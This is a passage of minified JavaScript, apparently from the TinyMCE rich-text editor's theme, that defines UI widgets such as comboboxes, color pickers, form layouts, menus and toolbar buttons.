t,e,n=this,i=n.getEl(),r=n.getEl("open"),o=n.layoutRect(),s=0,a=i.firstChild;n.statusLevel()&&"none"!==n.statusLevel()&&(s=parseInt(St.getRuntimeStyle(a,"padding-right"),10)-parseInt(St.getRuntimeStyle(a,"padding-left"),10)),t=r?o.w-St.getSize(r).width-10:o.w-10;var l=document;return l.all&&(!l.documentMode||l.documentMode<=8)&&(e=n.layoutRect().h-2+"px"),Nt(a).css({width:t-s,lineHeight:e}),n._super(),n},postRender:function(){var e=this;return Nt(this.getEl("inp")).on("change",function(t){e.state.set("value",t.target.value),e.fire("change",t)}),e._super()},renderHtml:function(){var t,e,n,i=this,r=i._id,o=i.settings,s=i.classPrefix,a=i.state.get("value")||"",l="",u="";return"spellcheck"in o&&(u+=' spellcheck="'+o.spellcheck+'"'),o.maxLength&&(u+=' maxlength="'+o.maxLength+'"'),o.size&&(u+=' size="'+o.size+'"'),o.subtype&&(u+=' type="'+o.subtype+'"'),n='<i id="'+r+'-status" class="mce-status mce-ico" style="display: none"></i>',i.disabled()&&(u+=' disabled="disabled"'),(t=o.icon)&&"caret"!==t&&(t=s+"ico "+s+"i-"+o.icon),e=i.state.get("text"),(t||e)&&(l='<div id="'+r+'-open" class="'+s+"btn "+s+'open" tabIndex="-1" role="button"><button id="'+r+'-action" type="button" hidefocus="1" tabindex="-1">'+("caret"!==t?'<i class="'+t+'"></i>':'<i class="'+s+'caret"></i>')+(e?(t?" ":"")+e:"")+"</button></div>",i.classes.add("has-open")),'<div id="'+r+'" class="'+i.classes+'"><input id="'+r+'-inp" class="'+s+'textbox" value="'+i.encode(a,!1)+'" hidefocus="1"'+u+' placeholder="'+i.encode(o.placeholder)+'" />'+n+l+"</div>"},value:function(t){return arguments.length?(this.state.set("value",t),this):(this.state.get("rendered")&&this.state.set("value",this.getEl("inp").value),this.state.get("value"))},showAutoComplete:function(t,i){var r=this;if(0!==t.length){r.menu?r.menu.items().remove():r.menu=Ee.create({type:"menu",classes:"combobox-menu",layout:"flow"}).parent(r).renderTo(),C.each(t,function(t){var e,n;r.menu.add({text:t.title,url:t.previewUrl,match:i,classes:"menu-item-ellipsis",onclick:(e=t.value,n=t.title,function(){r.fire("selectitem",{title:n,value:e})})})}),r.menu.renderNew(),r.hideMenu(),r.menu.on("cancel",function(t){t.control.parent()===r.menu&&(t.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on("select",function(){r.focus()});var e=r.layoutRect().w;r.menu.layoutRect({w:e,minW:0,maxW:e}),r.menu.repaint(),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])}else r.hideMenu()},hideMenu:function(){this.menu&&this.menu.hide()},bindStates:function(){var r=this;r.state.on("change:value",function(t){r.getEl("inp").value!==t.value&&(r.getEl("inp").value=t.value)}),r.state.on("change:disabled",function(t){r.getEl("inp").disabled=t.value}),r.state.on("change:statusLevel",function(t){var e=r.getEl("status"),n=r.classPrefix,i=t.value;St.css(e,"display","none"===i?"none":""),St.toggleClass(e,n+"i-checkmark","ok"===i),St.toggleClass(e,n+"i-warning","warn"===i),St.toggleClass(e,n+"i-error","error"===i),r.classes.toggle("has-status","none"!==i),r.repaint()}),St.on(r.getEl("status"),"mouseleave",function(){r.tooltip().hide()}),r.on("cancel",function(t){r.menu&&r.menu.visible()&&(t.stopPropagation(),r.hideMenu())});var n=function(t,e){e&&0<e.items().length&&e.items().eq(t)[0].focus()};return r.on("keydown",function(t){var e=t.keyCode;"INPUT"===t.target.nodeName&&(e===Bn.DOWN?(t.preventDefault(),r.fire("autocomplete"),n(0,r.menu)):e===Bn.UP&&(t.preventDefault(),n(-1,r.menu)))}),r._super()},remove:function(){Nt(this.getEl("inp")).off(),this.menu&&this.menu.remove(),this._super()}}),In=Ln.extend({init:function(t){var e=this;t.spellcheck=!1,t.onaction&&(t.icon="none"),e._super(t),e.classes.add("colorbox"),e.on("change keyup postrender",function(){e.repaintColor(e.value())})},repaintColor:function(t){var e=this.getEl("open"),n=e?e.getElementsByTagName("i")[0]:null;if(n)try{n.style.background=t}catch(i){}},bindStates:function(){var e=this;return e.state.on("change:value",function(t){e.state.get("rendered")&&e.repaintColor(t.value)}),e._super()}}),zn=Dn.extend({showPanel:function(){var e=this,t=e.settings;if(e.classes.add("opened"),e.panel)e.panel.show();else{var n=t.panel;n.type&&(n={layout:"grid",items:n}),n.role=n.role||"dialog",n.popover=!0,n.autohide=!0,n.ariaRoot=!0,e.panel=new Ve(n).on("hide",function(){e.classes.remove("opened")}).on("cancel",function(t){t.stopPropagation(),e.focus(),e.hidePanel()}).parent(e).renderTo(e.getContainerElm()),e.panel.fire("show"),e.panel.reflow()}var i=e.panel.testMoveRel(e.getEl(),t.popoverAlign||(e.isRtl()?["bc-tc","bc-tl","bc-tr"]:["bc-tc","bc-tr","bc-tl","tc-bc","tc-br","tc-bl"]));e.panel.classes.toggle("start","l"===i.substr(-1)),e.panel.classes.toggle("end","r"===i.substr(-1));var r="t"===i.substr(0,1);e.panel.classes.toggle("bottom",!r),e.panel.classes.toggle("top",r),e.panel.moveRel(e.getEl(),i)},hidePanel:function(){this.panel&&this.panel.hide()},postRender:function(){var e=this;return e.aria("haspopup",!0),e.on("click",function(t){t.control===e&&(e.panel&&e.panel.visible()?e.hidePanel():(e.showPanel(),e.panel.focus(!!t.aria)))}),e._super()},remove:function(){return this.panel&&(this.panel.remove(),this.panel=null),this._super()}}),Fn=v.DOM,Un=zn.extend({init:function(t){this._super(t),this.classes.add("splitbtn"),this.classes.add("colorbutton")},color:function(t){return t?(this._color=t,this.getEl("preview").style.backgroundColor=t,this):this._color},resetColor:function(){return this._color=null,this.getEl("preview").style.backgroundColor=null,this},renderHtml:function(){var t=this,e=t._id,n=t.classPrefix,i=t.state.get("text"),r=t.settings.icon?n+"ico "+n+"i-"+t.settings.icon:"",o=t.settings.image?" style=\"background-image: url('"+t.settings.image+"')\"":"",s="";return i&&(t.classes.add("btn-has-text"),s='<span class="'+n+'txt">'+t.encode(i)+"</span>"),'<div id="'+e+'" class="'+t.classes+'" role="button" tabindex="-1" aria-haspopup="true"><button role="presentation" hidefocus="1" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+o+"></i>":"")+'<span id="'+e+'-preview" class="'+n+'preview"></span>'+s+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1"> <i class="'+n+'caret"></i></button></div>'},postRender:function(){var e=this,n=e.settings.onclick;return e.on("click",function(t){t.aria&&"down"===t.aria.key||t.control!==e||Fn.getParent(t.target,"."+e.classPrefix+"open")||(t.stopImmediatePropagation(),n.call(e,t))}),delete e.settings.onclick,e._super()}}),Vn=tinymce.util.Tools.resolve("tinymce.util.Color"),qn=be.extend({Defaults:{classes:"widget colorpicker"},init:function(t){this._super(t)},postRender:function(){var n,i,r,o,s,a=this,l=a.color();function u(t,e){var n,i,r=St.getPos(t);return n=e.pageX-r.x,i=e.pageY-r.y,{x:n=Math.max(0,Math.min(n/t.clientWidth,1)),y:i=Math.max(0,Math.min(i/t.clientHeight,1))}}function c(t,e){var n=(360-t.h)/360;St.css(r,{top:100*n+"%"}),e||St.css(s,{left:t.s+"%",top:100-t.v+"%"}),o.style.background=Vn({s:100,v:100,h:t.h}).toHex(),a.color().parse({s:t.s,v:t.v,h:t.h})}function t(t){var e;e=u(o,t),n.s=100*e.x,n.v=100*(1-e.y),c(n),a.fire("change")}function e(t){var e;e=u(i,t),(n=l.toHsv()).h=360*(1-e.y),c(n,!0),a.fire("change")}i=a.getEl("h"),r=a.getEl("hp"),o=a.getEl("sv"),s=a.getEl("svp"),a._repaint=function(){c(n=l.toHsv())},a._super(),a._svdraghelper=new Re(a._id+"-sv",{start:t,drag:t}),a._hdraghelper=new Re(a._id+"-h",{start:e,drag:e}),a._repaint()},rgb:function(){return this.color().toRgb()},value:function(t){if(!arguments.length)return this.color().toHex();this.color().parse(t),this._rendered&&this._repaint()},color:function(){return this._color||(this._color=Vn()),this._color},renderHtml:function(){var t,e=this._id,o=this.classPrefix,s="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000";return t='<div id="'+e+'-h" class="'+o+'colorpicker-h" style="background: -ms-linear-gradient(top,'+s+");background: linear-gradient(to bottom,"+s+');">'+function(){var t,e,n,i,r="";for(n="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",t=0,e=(i=s.split(",")).length-1;t<e;t++)r+='<div class="'+o+'colorpicker-h-chunk" style="height:'+100/e+"%;"+n+i[t]+",endColorstr="+i[t+1]+");-ms-"+n+i[t]+",endColorstr="+i[t+1]+')"></div>';return r}()+'<div id="'+e+'-hp" class="'+o+'colorpicker-h-marker"></div></div>','<div id="'+e+'" class="'+this.classes+'"><div id="'+e+'-sv" class="'+o+'colorpicker-sv"><div class="'+o+'colorpicker-overlay1"><div class="'+o+'colorpicker-overlay2"><div id="'+e+'-svp" class="'+o+'colorpicker-selector1"><div class="'+o+'colorpicker-selector2"></div></div></div></div></div>'+t+"</div>"}}),Yn=be.extend({init:function(t){t=C.extend({height:100,text:"Drop an image here",multiple:!1,accept:null},t),this._super(t),this.classes.add("dropzone"),t.multiple&&this.classes.add("multiple")},renderHtml:function(){var t,e,n=this.settings;return t={id:this._id,hidefocus:"1"},e=St.create("div",t,"<span>"+this.translate(n.text)+"</span>"),n.height&&St.css(e,"height",n.height+"px"),n.width&&St.css(e,"width",n.width+"px"),e.className=this.classes,e.outerHTML},postRender:function(){var i=this,t=function(t){t.preventDefault(),i.classes.toggle("dragenter"),i.getEl().className=i.classes};i._super(),i.$el.on("dragover",function(t){t.preventDefault()}),i.$el.on("dragenter",t),i.$el.on("dragleave",t),i.$el.on("drop",function(t){if(t.preventDefault(),!i.state.get("disabled")){var e=function(t){var e=i.settings.accept;if("string"!=typeof e)return t;var n=new RegExp("("+e.split(/\s*,\s*/).join("|")+")$","i");return C.grep(t,function(t){return n.test(t.name)})}(t.dataTransfer.files);i.value=function(){return e.length?i.settings.multiple?e:e[0]:null},e.length&&i.fire("change",t)}})},remove:function(){this.$el.off(),this._super()}}),$n=be.extend({init:function(t){var n=this;t.delimiter||(t.delimiter="\xbb"),n._super(t),n.classes.add("path"),n.canFocus=!0,n.on("click",function(t){var e;(e=t.target.getAttribute("data-index"))&&n.fire("select",{value:n.row()[e],index:e})}),n.row(n.settings.row)},focus:function(){return this.getEl().firstChild.focus(),this},row:function(t){return arguments.length?(this.state.set("row",t),this):this.state.get("row")},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'">'+this._getDataPathHtml(this.state.get("row"))+"</div>"},bindStates:function(){var e=this;return e.state.on("change:row",function(t){e.innerHtml(e._getDataPathHtml(t.value))}),e._super()},_getDataPathHtml:function(t){var e,n,i=t||[],r="",o=this.classPrefix;for(e=0,n=i.length;e<n;e++)r+=(0<e?'<div class="'+o+'divider" aria-hidden="true"> '+this.settings.delimiter+" </div>":"")+'<div role="button" class="'+o+"path-item"+(e===n-1?" "+o+"last":"")+'" data-index="'+e+'" tabindex="-1" id="'+this._id+"-"+e+'" aria-level="'+(e+1)+'">'+i[e].name+"</div>";return r||(r='<div class="'+o+'path-item">\xa0</div>'),r}}),Xn=$n.extend({postRender:function(){var o=this,s=o.settings.editor;function a(t){if(1===t.nodeType){if("BR"===t.nodeName||t.getAttribute("data-mce-bogus"))return!0;if("bookmark"===t.getAttribute("data-mce-type"))return!0}return!1}return!1!==s.settings.elementpath&&(o.on("select",function(t){s.focus(),s.selection.select(this.row()[t.index].element),s.nodeChanged()}),s.on("nodeChange",function(t){for(var e=[],n=t.parents,i=n.length;i--;)if(1===n[i].nodeType&&!a(n[i])){var r=s.fire("ResolveName",{name:n[i].nodeName.toLowerCase(),target:n[i]});if(r.isDefaultPrevented()||e.push({name:r.name,element:n[i]}),r.isPropagationStopped())break}o.row(e)})),o._super()}}),jn=De.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var t=this,e=t._layout,n=t.classPrefix;return t.classes.add("formitem"),e.preRender(t),'<div id="'+t._id+'" class="'+t.classes+'" hidefocus="1" tabindex="-1">'+(t.settings.title?'<div id="'+t._id+'-title" class="'+n+'title">'+t.settings.title+"</div>":"")+'<div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+(t.settings.html||"")+e.renderHtml(t)+"</div></div>"}}),Jn=De.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:15,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var i=this,t=i.items();i.settings.formItemDefaults||(i.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),t.each(function(t){var e,n=t.settings.label;n&&((e=new jn(C.extend({items:{type:"label",id:t._id+"-l",text:n,flex:0,forId:t._id,disabled:t.disabled()}},i.settings.formItemDefaults))).type="formitem",t.aria("labelledby",t._id+"-l"),"undefined"==typeof t.settings.flex&&(t.settings.flex=1),i.replace(t,e),e.add(t))})},submit:function(){return this.fire("submit",{data:this.toJSON()})},postRender:function(){this._super(),this.fromJSON(this.settings.data)},bindStates:function(){var n=this;function t(){var t,e,i=0,r=[];if(!1!==n.settings.labelGapCalc)for(("children"===n.settings.labelGapCalc?n.find("formitem"):n.items()).filter("formitem").each(function(t){var e=t.items()[0],n=e.getEl().clientWidth;i=i<n?n:i,r.push(e)}),e=n.settings.labelGap||0,t=r.length;t--;)r[t].settings.minWidth=i+e}n._super(),n.on("show",t),t()}}),Gn=Jn.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25 15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var t=this,e=t._layout,n=t.classPrefix;return t.preRender(),e.preRender(t),'<fieldset id="'+t._id+'" class="'+t.classes+'" hidefocus="1" tabindex="-1">'+(t.settings.title?'<legend id="'+t._id+'-title" class="'+n+'fieldset-title">'+t.settings.title+"</legend>":"")+'<div id="'+t._id+'-body" class="'+t.bodyClasses+'">'+(t.settings.html||"")+e.renderHtml(t)+"</div></fieldset>"}}),Kn=0,Zn=function(t){if(null===t||t===undefined)throw new Error("Node cannot be null or undefined");return{dom:lt(t)}},Qn={fromHtml:function(t,e){var n=(e||document).createElement("div");if(n.innerHTML=t,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",t),"HTML must have a single root node";return Zn(n.childNodes[0])},fromTag:function(t,e){var n=(e||document).createElement(t);return Zn(n)},fromText:function(t,e){var n=(e||document).createTextNode(t);return Zn(n)},fromDom:Zn,fromPoint:function(t,e,n){var i=t.dom();return pt.from(i.elementFromPoint(e,n)).map(Zn)}},ti=function(n){var i,r=!1;return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return r||(r=!0,i=n.apply(null,t)),i}},ei={ATTRIBUTE:Node.ATTRIBUTE_NODE,CDATA_SECTION:Node.CDATA_SECTION_NODE,COMMENT:Node.COMMENT_NODE,DOCUMENT:Node.DOCUMENT_NODE,DOCUMENT_TYPE:Node.DOCUMENT_TYPE_NODE,DOCUMENT_FRAGMENT:Node.DOCUMENT_FRAGMENT_NODE,ELEMENT:Node.ELEMENT_NODE,TEXT:Node.TEXT_NODE,PROCESSING_INSTRUCTION:Node.PROCESSING_INSTRUCTION_NODE,ENTITY_REFERENCE:Node.ENTITY_REFERENCE_NODE,ENTITY:Node.ENTITY_NODE,NOTATION:Node.NOTATION_NODE},ni=function(t){return t.dom().nodeType},ii=function(e){return function(t){return ni(t)===e}},ri=(ii(ei.ELEMENT),ii(ei.TEXT),ii(ei.DOCUMENT),ti(function(){return ri(Qn.fromDom(document))}),function(t){var e=t.dom().body;if(null===e||e===undefined)throw"Body is not available yet";return Qn.fromDom(e)}),oi=function(t,e){var n=function(t,e){for(var n=0;n<t.length;n++){var i=t[n];if(i.test(e))return i}return undefined}(t,e);if(!n)return{major:0,minor:0};var i=function(t){return Number(e.replace(n,"$"+t))};return ai(i(1),i(2))},si=function(){return ai(0,0)},ai=function(t,e){return{major:t,minor:e}},li={nu:ai,detect:function(t,e){var n=String(e).toLowerCase();return 0===t.length?si():oi(t,n)},unknown:si},ui="Firefox",ci=function(t,e){return function(){return e===t}},di=function(t){var e=t.current;return{current:e,version:t.version,isEdge:ci("Edge",e),isChrome:ci("Chrome",e),isIE:ci("IE",e),isOpera:ci("Opera",e),isFirefox:ci(ui,e),isSafari:ci("Safari",e)}},fi={unknown:function(){return di({current:undefined,version:li.unknown()})},nu:di,edge:lt("Edge"),chrome:lt("Chrome"),ie:lt("IE"),opera:lt("Opera"),firefox:lt(ui),safari:lt("Safari")},hi="Windows",mi="Android",gi="Solaris",pi="FreeBSD",vi=function(t,e){return function(){return e===t}},bi=function(t){var e=t.current;return{current:e,version:t.version,isWindows:vi(hi,e),isiOS:vi("iOS",e),isAndroid:vi(mi,e),isOSX:vi("OSX",e),isLinux:vi("Linux",e),isSolaris:vi(gi,e),isFreeBSD:vi(pi,e)}},yi={unknown:function(){return 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t,e;(t=n.settings.format)&&(n.disabled(!i.formatter.canApply(t)),n.active(i.formatter.match(t))),(e=n.settings.cmd)&&n.active(i.queryCommandState(e))})},onclick:function(){this.settings.format&&dr(i,this.settings.format)(),this.settings.cmd&&i.execCommand(this.settings.cmd)}}});n=u,t.addMenuItem("formats",{text:"Formats",menu:n}),l=u,(a=t).addButton("styleselect",{type:"menubutton",text:"Formats",menu:l,onShowMenu:function(){a.settings.style_formats_autohide&&Rr(a,this.menu)}})},kr=function(n,t){return function(){var r,o,s,e=[];return C.each(t,function(t){e.push({text:t[0],value:t[1],textStyle:function(){return n.formatter.getCssText(t[1])}})}),{type:"listbox",text:t[0][0],values:e,fixedWidth:!0,onselect:function(t){if(t.control){var e=t.control.value();dr(n,e)()}},onPostRender:(r=n,o=e,function(){var e=this;r.on("nodeChange",function(t){var n=r.formatter,i=null;C.each(t.parents,function(e){if(C.each(o,function(t){if(s?n.matchNode(e,s,{value:t.value})&&(i=t.value):n.matchNode(e,t.value)&&(i=t.value),i)return!1}),i)return!1}),e.value(i)})})}}},Tr=function(t){var e,n,i=function(t){for(var e=(t=t.replace(/;$/,"").split(";")).length;e--;)t[e]=t[e].split("=");return t}(t.settings.block_formats||"Paragraph=p;Heading 1=h1;Heading 2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading 6=h6;Preformatted=pre");t.addMenuItem("blockformats",{text:"Blocks",menu:(e=t,n=i,C.map(n,function(t){return{text:t[0],onclick:dr(e,t[1]),textStyle:function(){return e.formatter.getCssText(t[1])}}}))}),t.addButton("formatselect",kr(t,i))},Hr=function(e,t){var n,i;if("string"==typeof t)i=t.split(" ");else if(C.isArray(t))return function(t){for(var e=[],n=0,i=t.length;n<i;++n){if(!Array.prototype.isPrototypeOf(t[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+t);Ht.apply(e,t[n])}return e}(C.map(t,function(t){return Hr(e,t)}));return n=C.grep(i,function(t){return"|"===t||t in e.menuItems}),C.map(n,function(t){return"|"===t?{text:"-"}:e.menuItems[t]})},Mr=function(t){return t&&"-"===t.text},Sr=function(t){var e=Rt(t,function(t,e,n){return!Mr(t)||!Mr(n[e-1])});return Rt(e,function(t,e,n){return!Mr(t)||0<e&&e<n.length-1})},Nr=function(t){var e,n,i,r,o=t.settings.insert_button_items;return Sr(o?Hr(t,o):(e=t,n="insert",i=[{text:"-"}],r=C.grep(e.menuItems,function(t){return t.context===n}),C.each(r,function(t){"before"===t.separator&&i.push({text:"|"}),t.prependToContext?i.unshift(t):i.push(t),"after"===t.separator&&i.push({text:"|"})}),i))},Or=function(t){var e;(e=t).addButton("insert",{type:"menubutton",icon:"insert",menu:[],oncreatemenu:function(){this.menu.add(Nr(e)),this.menu.renderNew()}})},Dr=function(t){var n,i,r;n=t,C.each({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(t,e){n.addButton(e,{active:!1,tooltip:t,onPostRender:hr(n,e),onclick:dr(n,e)})}),i=t,C.each({outdent:["Decrease indent","Outdent"],indent:["Increase indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select all","SelectAll"],visualaid:["Visual aids","mceToggleVisualAid"],newdocument:["New document","mceNewDocument"],removeformat:["Clear formatting","RemoveFormat"],remove:["Remove","Delete"]},function(t,e){i.addButton(e,{tooltip:t[0],cmd:t[1]})}),r=t,C.each({blockquote:["Blockquote","mceBlockQuote"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"]},function(t,e){r.addButton(e,{active:!1,tooltip:t[0],cmd:t[1],onPostRender:hr(r,e)})})},Pr=function(t){var n;Dr(t),n=t,C.each({bold:["Bold","Bold","Meta+B"],italic:["Italic","Italic","Meta+I"],underline:["Underline","Underline","Meta+U"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear formatting","RemoveFormat"],newdocument:["New document","mceNewDocument"],cut:["Cut","Cut","Meta+X"],copy:["Copy","Copy","Meta+C"],paste:["Paste","Paste","Meta+V"],selectall:["Select all","SelectAll","Meta+A"]},function(t,e){n.addMenuItem(e,{text:t[0],icon:e,shortcut:t[2],cmd:t[1]})}),n.addMenuItem("codeformat",{text:"Code",icon:"code",onclick:dr(n,"code")})},Wr=function(n,i){return function(){var t=this,e=function(){var t="redo"===i?"hasRedo":"hasUndo";return!!n.undoManager&&n.undoManager[t]()};t.disabled(!e()),n.on("Undo Redo AddUndo TypingUndo ClearUndos SwitchMode",function(){t.disabled(n.readonly||!e())})}},Ar=function(t){var e,n;(e=t).addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onPostRender:Wr(e,"undo"),cmd:"undo"}),e.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onPostRender:Wr(e,"redo"),cmd:"redo"}),(n=t).addButton("undo",{tooltip:"Undo",onPostRender:Wr(n,"undo"),cmd:"undo"}),n.addButton("redo",{tooltip:"Redo",onPostRender:Wr(n,"redo"),cmd:"redo"})},Br=function(t){var e,n;(e=t).addMenuItem("visualaid",{text:"Visual aids",selectable:!0,onPostRender:(n=e,function(){var e=this;n.on("VisualAid",function(t){e.active(t.hasVisual)}),e.active(n.hasVisual)}),cmd:"mceToggleVisualAid"})},Lr={setup:function(t){var e;t.rtl&&(ce.rtl=!0),t.on("mousedown",function(){Ve.hideAll()}),(e=t).settings.ui_container&&(h.container=cr(Qn.fromDom(document.body),e.settings.ui_container).fold(lt(null),function(t){return t.dom()})),be.tooltips=!h.iOS,ce.translate=function(t){return S.translate(t)},Tr(t),mr(t),Pr(t),Ar(t),_r(t),br(t),Er(t),Br(t),Or(t)}},Ir=On.extend({recalc:function(t){var e,n,i,r,o,s,a,l,u,c,d,f,h,m,g,p,v,b,y,x,w,_,C,R,E,k,T,H,M=[],S=[];e=t.settings,r=t.items().filter(":visible"),o=t.layoutRect(),i=e.columns||Math.ceil(Math.sqrt(r.length)),n=Math.ceil(r.length/i),b=e.spacingH||e.spacing||0,y=e.spacingV||e.spacing||0,x=e.alignH||e.align,w=e.alignV||e.align,p=t.paddingBox,H="reverseRows"in e?e.reverseRows:t.isRtl(),x&&"string"==typeof x&&(x=[x]),w&&"string"==typeof w&&(w=[w]);for(d=0;d<i;d++)M.push(0);for(f=0;f<n;f++)S.push(0);for(f=0;f<n;f++)for(d=0;d<i&&(c=r[f*i+d]);d++)R=(u=c.layoutRect()).minW,E=u.minH,M[d]=R>M[d]?R:M[d],S[f]=E>S[f]?E:S[f];for(k=o.innerW-p.left-p.right,d=_=0;d<i;d++)_+=M[d]+(0<d?b:0),k-=(0<d?b:0)+M[d];for(T=o.innerH-p.top-p.bottom,f=C=0;f<n;f++)C+=S[f]+(0<f?y:0),T-=(0<f?y:0)+S[f];if(_+=p.left+p.right,C+=p.top+p.bottom,(l={}).minW=_+(o.w-o.innerW),l.minH=C+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW===o.minW&&l.minH===o.minH){var N;o.autoResize&&((l=t.layoutRect(l)).contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH),N="start"===e.packV?0:0<T?Math.floor(T/n):0;var O=0,D=e.flexWidths;if(D)for(d=0;d<D.length;d++)O+=D[d];else O=i;var P=k/O;for(d=0;d<i;d++)M[d]+=D?D[d]*P:P;for(m=p.top,f=0;f<n;f++){for(h=p.left,a=S[f]+N,d=0;d<i&&(c=r[H?f*i+i-1-d:f*i+d]);d++)g=c.settings,u=c.layoutRect(),s=Math.max(M[d],u.startMinWidth),u.x=h,u.y=m,"center"===(v=g.alignH||(x?x[d]||x[0]:null))?u.x=h+s/2-u.w/2:"right"===v?u.x=h+s-u.w:"stretch"===v&&(u.w=s),"center"===(v=g.alignV||(w?w[d]||w[0]:null))?u.y=m+a/2-u.h/2:"bottom"===v?u.y=m+a-u.h:"stretch"===v&&(u.h=a),c.layoutRect(u),h+=s+b,c.recalc&&c.recalc();m+=a+y}}else if(l.w=l.minW,l.h=l.minH,t.layoutRect(l),this.recalc(t),null===t._lastRect){var W=t.parent();W&&(W._lastRect=null,W.recalc())}}}),zr=be.extend({renderHtml:function(){var t=this;return t.classes.add("iframe"),t.canFocus=!1,'<iframe id="'+t._id+'" class="'+t.classes+'" tabindex="-1" src="'+(t.settings.url||"javascript:''")+'" frameborder="0"></iframe>'},src:function(t){this.getEl().src=t},html:function(t,e){var n=this,i=this.getEl().contentWindow.document.body;return i?(i.innerHTML=t,e&&e()):c.setTimeout(function(){n.html(t)}),this}}),Fr=be.extend({init:function(t){this._super(t),this.classes.add("widget").add("infobox"),this.canFocus=!1},severity:function(t){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(t)},help:function(t){this.state.set("help",t)},renderHtml:function(){var t=this,e=t.classPrefix;return'<div id="'+t._id+'" class="'+t.classes+'"><div id="'+t._id+'-body">'+t.encode(t.state.get("text"))+'<button role="button" tabindex="-1"><i class="'+e+"ico "+e+'i-help"></i></button></div></div>'},bindStates:function(){var e=this;return e.state.on("change:text",function(t){e.getEl("body").firstChild.data=e.encode(t.value),e.state.get("rendered")&&e.updateLayoutRect()}),e.state.on("change:help",function(t){e.classes.toggle("has-help",t.value),e.state.get("rendered")&&e.updateLayoutRect()}),e._super()}}),Ur=be.extend({init:function(t){var e=this;e._super(t),e.classes.add("widget").add("label"),e.canFocus=!1,t.multiline&&e.classes.add("autoscroll"),t.strong&&e.classes.add("strong")},initLayoutRect:function(){var t=this,e=t._super();return t.settings.multiline&&(St.getSize(t.getEl()).width>e.maxW&&(e.minW=e.maxW,t.classes.add("multiline")),t.getEl().style.width=e.minW+"px",e.startMinH=e.h=e.minH=Math.min(e.maxH,St.getSize(t.getEl()).height)),e},repaint:function(){return this.settings.multiline||(this.getEl().style.lineHeight=this.layoutRect().h+"px"),this._super()},severity:function(t){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(t)},renderHtml:function(){var t,e,n=this,i=n.settings.forId,r=n.settings.html?n.settings.html:n.encode(n.state.get("text"));return!i&&(e=n.settings.forName)&&(t=n.getRoot().find("#"+e)[0])&&(i=t._id),i?'<label id="'+n._id+'" class="'+n.classes+'"'+(i?' for="'+i+'"':"")+">"+r+"</label>":'<span id="'+n._id+'" class="'+n.classes+'">'+r+"</span>"},bindStates:function(){var e=this;return e.state.on("change:text",function(t){e.innerHtml(e.encode(t.value)),e.state.get("rendered")&&e.updateLayoutRect()}),e._super()}}),Vr=De.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(t){this._super(t),this.classes.add("toolbar")},postRender:function(){return this.items().each(function(t){t.classes.add("toolbar-item")}),this._super()}}),qr=Vr.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}}),Yr=Dn.extend({init:function(t){var e=this;e._renderOpen=!0,e._super(t),t=e.settings,e.classes.add("menubtn"),t.fixedWidth&&e.classes.add("fixed-width"),e.aria("haspopup",!0),e.state.set("menu",t.menu||e.render())},showMenu:function(t){var e,n=this;if(n.menu&&n.menu.visible()&&!1!==t)return n.hideMenu();n.menu||(e=n.state.get("menu")||[],n.classes.add("opened"),e.length?e={type:"menu",animate:!0,items:e}:(e.type=e.type||"menu",e.animate=!0),e.renderTo?n.menu=e.parent(n).show().renderTo():n.menu=Ee.create(e).parent(n).renderTo(),n.fire("createmenu"),n.menu.reflow(),n.menu.on("cancel",function(t){t.control.parent()===n.menu&&(t.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on("select",function(){n.focus()}),n.menu.on("show hide",function(t){t.control===n.menu&&(n.activeMenu("show"===t.type),n.classes.toggle("opened","show"===t.type)),n.aria("expanded","show"===t.type)}).fire("show")),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.repaint(),n.menu.moveRel(n.getEl(),n.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]),n.fire("showmenu")},hideMenu:function(){this.menu&&(this.menu.items().each(function(t){t.hideMenu&&t.hideMenu()}),this.menu.hide())},activeMenu:function(t){this.classes.toggle("active",t)},renderHtml:function(){var 